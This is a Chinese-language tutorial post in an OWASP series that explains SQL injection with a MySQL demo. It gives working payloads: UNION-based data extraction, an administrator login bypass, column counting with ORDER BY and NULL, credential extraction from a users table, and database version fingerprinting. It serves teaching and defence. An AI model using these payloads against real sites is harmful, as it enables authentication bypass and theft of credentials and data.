OWASP 系列之注入漏洞(上)
摘要
上一期我們介紹了 OWASP 最重要的兩個版本把注入漏洞排到了榜一,可見此漏洞的常見與嚴(yán)重程度。接下來我們就詳細(xì)的介紹下注入漏洞
SQL injection
SQL 注入介紹
對于已經(jīng)懂點數(shù)據(jù)庫相關(guān)開發(fā)知識的朋友,在第一次接觸 SQl 注入漏洞的時候可能會非常好奇,是怎么樣的語法就讓攻擊者注入獲取了數(shù)據(jù)庫的數(shù)據(jù)呢?
我們來看一下簡單的注入的例子
# 假設(shè)我們后端有數(shù)據(jù)庫 xiaomi
mysql root@localhost:xiaomi> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| test |
| xiaomi |
| zblog_demo |
+--------------------+
17 rows in set
Time: 0.004s
mysql root@localhost:xiaomi>
# 數(shù)據(jù)庫 xiaomi 有如下表
mysql root@localhost:xiaomi> show tables;
+------------------+
| Tables_in_xiaomi |
+------------------+
| dept |
| emp |
| salgrade |
| user |
| x |
+------------------+
5 rows in set
Time: 0.004s
mysql root@localhost:xiaomi>
# 其中 user 表結(jié)構(gòu)/數(shù)據(jù)如下
mysql root@localhost:xiaomi> desc user;
+---------+----------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------+----------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | <null> | auto_increment |
| name | char(10) | NO | | <null> | |
| address | char(50) | NO | | <null> | |
+---------+----------+------+-----+---------+----------------+
3 rows in set
Time: 0.008s
mysql root@localhost:xiaomi> select * from user;
+----+----------+---------------+
| id | name | address |
+----+----------+---------------+
| 1 | lihua | guangdong |
| 2 | wang | xian |
| 3 | lisi | henan |
| 4 | fu | beijin |
| 5 | xiaoming | henan |
| 6 | lishi | shanghaiditie |
+----+----------+---------------+
6 rows in set
Time: 0.003s
mysql root@localhost:xiaomi>
假設(shè)前端通過一個 URL 來請求后端服務(wù),查詢用戶
https://example.com/user.php?name=xiaoming&address=henan
參數(shù) name 的內(nèi)容會傳遞到后端代碼并進(jìn)行 sql 語法查詢,如果我們后端的 sql 語句為下面這樣
select * from user where name= 'xiaoming' and address ='henan'
那么,正常我們就會從數(shù)據(jù)庫查到我們希望的數(shù)據(jù)

但是,一個惡意的攻擊者,修改的訪問后端的 URL,傳遞了惡意的參數(shù)如下
# 參數(shù) name 的值修改為了 xiaoming' union select id, name, address from user --
https://example.com/user.php?name=xiaoming' union select id, name, address from user -- '&address=henan
# url 編碼后的地址為
https://example.com/user.php?name=xiaoming%27%20union%20select%20id,%20name,%20address%20from%20user%20--%20%27&address=henan
那么,最終在數(shù)據(jù)庫中 sql 的語法執(zhí)行的語句為
select * from user where name= 'xiaoming' union select id, name, address from user -- ' and address ='henan'
我們看到,執(zhí)行結(jié)果發(fā)生了我們期望之外的變化

這就是 SQL 注入,??!多么痛的領(lǐng)悟
下來,我們了解下 SQL 注入的各種細(xì)節(jié)
常見 SQL 注入類型
- 查詢隱藏的數(shù)據(jù)
- 影響應(yīng)用程序邏輯
- UNION 攻擊
- 查詢數(shù)據(jù)庫版本與結(jié)構(gòu)
- SQL 盲注
查詢隱藏的數(shù)據(jù)
這個例子,我們在上面介紹了,我們接下來看看其他的例子
影響應(yīng)用程序的邏輯
# 假設(shè)后端的登錄驗證代碼如下
select * from users where username = 'admin' and password = 'password'
# 惡意的攻擊者,傳遞 administrator ' --
# 最終的 sql 語法會變成下面這樣
select * from users where username = 'administrator ' --' and password = 'password'
一個正常的普通賬戶的登錄語句應(yīng)該是這樣
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
攻擊者修改后,變成這樣
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
UNION 攻擊
union 命令可以執(zhí)行多個額外的 select 查詢,如這樣

這里有兩個關(guān)鍵點
- 每個查詢要回顯相同數(shù)量的列(所以,要進(jìn)行攻擊的話要確認(rèn)原始sql 語句會回顯多少數(shù)據(jù)列???)
- 每個數(shù)據(jù)列類型在查詢語句上要匹配(所以,要進(jìn)行攻擊的話,要選擇合適的數(shù)據(jù)類型)
在我們的注入介紹小節(jié)中的 sql 語句
select * from user where name= 'xiaoming' union select id, name, address from user -- ' and address ='henan'
還原回原始的 sql 語句后是這樣
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
這里,按 union 的語法規(guī)則
- 每個查詢都回顯了查相同數(shù)量的數(shù)據(jù)列
- 每個數(shù)據(jù)列的類型在查詢之間是匹配的
那么,問題來了。
如何確定 union 攻擊,所需要的列的數(shù)量呢???
列數(shù)量確定
這里我們介紹兩種方法:
- 利用 ordery by
- 利用報錯 union select
先來看下,利用 ordery by 確定列數(shù)量
order by 1 --
order by 2 --
order by 3 --

這樣,我們就可以確定原始的 sql 查詢的表是有 3個數(shù)據(jù)列的。
再來,我們看下利用報錯 union select 確定數(shù)據(jù)列數(shù)量
# 主要利用 NULL 的原因為,可以轉(zhuǎn)換為每種常用的數(shù)據(jù)類型
union select null --
union select null,null--
union select null,null,null--

注意: 不是所有數(shù)據(jù)庫都會做 null 轉(zhuǎn)換
再來,確認(rèn)列的字段類型
union select 'a', null, null, null --
union select null, 'a', null, null --
union select null, null, 'a', null --
union select null, null, null, 'a' --
跨表查詢
# 利用 union
' union select username, password from users --
在單個列中查詢多個值
# 在單個列中查詢多個值
# 先找有幾個列
# 可以通過字符串拼接的方式來利用 ||
’ union select username || '~' || password from users --,
對于不同的數(shù)據(jù)庫,字符串拼接方式不同
| 數(shù)據(jù)庫 | 字符串拼接 |
|---|---|
| Oracle | ‘a(chǎn)’ || ‘b’ |
| Microsoft | ‘a(chǎn)’ + ‘b’ |
| PostgreSQL | ‘a(chǎn)’ || ‘b’ |
| MySQL | ‘a(chǎn)’ ‘b’ (中間有空格)或者使用函數(shù) concat(‘a(chǎn)’, ‘b’) |
查詢數(shù)據(jù)庫類型和版本
| 數(shù)據(jù)庫 | 查看版本方法 |
|---|---|
| Oracle | select banner from vversion<br/>selectversionfromvversion<br />select version from vversion<br/>selectversionfromvversion |
| Microsoft | select @@ version |
| PostgreSQL | select version() |
| MySQL | select @@version |

在攻擊中利用的方式為
# oracle
' union select banner, NULL from v$version--
# mysql, microsoft
' union select @@version, NULL -- #
在線實驗
所有以上介紹的語句,都是為了我們收集數(shù)據(jù)庫信息,為也后續(xù)根據(jù)數(shù)據(jù)庫類型、結(jié)構(gòu)版本來定制攻擊語句,獲取數(shù)據(jù)庫數(shù)據(jù)。
本次 SQL 注入的部分,我們先介紹到這里,下一期我們將介紹更進(jìn)一步的注入方式,歡迎大家圍觀。